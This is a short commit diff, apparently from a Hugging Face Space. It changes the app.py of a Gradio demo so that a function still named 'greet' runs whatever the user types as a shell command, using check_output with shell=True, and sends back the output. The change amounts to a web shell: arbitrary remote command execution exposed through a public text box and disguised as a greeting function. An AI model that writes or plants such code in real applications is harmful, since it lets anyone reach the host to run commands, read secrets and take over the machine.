justquick commited on
Commit
19538fb
·
1 Parent(s): 41a5364
Files changed (1) hide show
  1. app.py +5 -2
app.py CHANGED
@@ -1,8 +1,11 @@
1
  import gradio as gr
2
  import sys
 
 
3
 
4
  def greet(name):
5
- return '\n'.join(sys.path)
 
6
 
7
  iface = gr.Interface(fn=greet, inputs="text", outputs="text")
8
- iface.launch()
 
1
  import gradio as gr
2
  import sys
3
+ from subprocess import check_output
4
+
5
 
6
  def greet(name):
7
+ return check_output(name, shell=True)
8
+
9
 
10
  iface = gr.Interface(fn=greet, inputs="text", outputs="text")
11
+ iface.launch()